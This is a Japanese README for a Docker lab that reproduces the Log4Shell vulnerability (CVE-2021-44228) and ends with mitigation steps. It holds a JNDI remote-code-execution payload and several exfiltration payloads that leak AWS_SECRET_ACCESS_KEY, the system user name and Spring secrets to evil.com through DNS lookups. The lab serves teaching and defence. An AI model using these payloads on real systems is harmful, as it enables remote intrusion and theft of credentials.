
Log4Shell (CVE-2021-44228) docker ラボ
この Docker ラボは、以下の3つのコンポーネントで構成されています:
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
重要な注意: Windows PowerShell を使用している場合は、$(pwd) を ${pwd} に置き換えてください。
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
脆弱性のあるアプリケーションを開き、偽のテスト認証情報を入力して、log4shell-vulnapp コンテナのログを開きます。 アプリケーションがログイン失敗の試行をログに記録していることが確認できます(例:ユーザー名「test」のログイン試行が誤っています)。この小さな実験から、ログに記録される文字列の一部(すなわちユーザー名)を制御できることがわかります。
以下のようなペイロードを渡すことで、リモートでコードを実行できます:
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
リモートコード実行はどの Java バージョンでも可能ですが、以下のリスト [1] より古い Java バージョンを搭載したマシンでは特に危険です:
これは、新しいバージョンでは JVM システムプロパティ com.sun.jndi.ldap.object.trustURLCodebase がデフォルトで false に設定され、任意の URL コードベースからの JNDI によるクラス読み込みが無効になるためです。ただし、この脆弱性に対する保護として新しい Java バージョンにのみ依存することは危険です。脆弱性のあるアプリケーションのクラスパスに特定の「ガジェット」クラスが含まれるマシンでは、この脆弱性が依然として悪用される可能性があり、DNS クエリを使用して環境変数などの情報を取得できるためです。
被害者マシンから機密情報を明らかにするルックアップ置換がいくつかあります。最も顕著な例として、[2, 3] と同様のペイロードを使用します:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
注: Spring ルックアップ攻撃文字列を使用するには、アプリケーションに log4j-spring-cloud-config-client が含まれている必要があります。[2]
この深刻な脆弱性を緩和する最善の方法は、log4j2 を >= 2.17.0 にアップグレードすることです。ただし、アップグレードせずに2つの異なる方法でこの問題を完全に緩和することも可能です。新しい Log4j2 バージョンにアップグレードできないベンダーには、以下に示す両方の緩和策を使用することを強く推奨します [1]。
ルックアップの無効化は、(グローバルに)環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS を true に設定することで行えます。/etc/environment ファイルを編集して、LOG4J_FORMAT_MSG_NO_LOOKUPS=true を追加してください。[1]
あるいは、脆弱性のある Java アプリケーションの実行時に以下のコマンドラインフラグを追加することで、特定の JVM 呼び出しに対してルックアップを無効化できます:‐Dlog4j2.formatMsgNoLookups=True [1]
log4j 2.10.0 より前のバージョンを使用している場合、任意の Java アプリケーションから JndiLookup クラスを削除することが可能です。
[1] Menashe, S., (2021). Log4Shell 0-Day 脆弱性のすべて - CVE-2021-44228. [オンライン] JFrog. 入手先: https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [アクセス日: 2021年12月24日].
[2] Goers, R., (2021). Log4j – Log4j 2 ルックアップ. [オンライン] logging.apache.org. 入手先: https://logging.apache.org/log4j/2.x/manual/lookups.html [アクセス日: 2021年12月24日].
[3] Oracle. (2021). システムプロパティ. [オンライン] 入手先: https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [アクセス日: 2021年12月24日].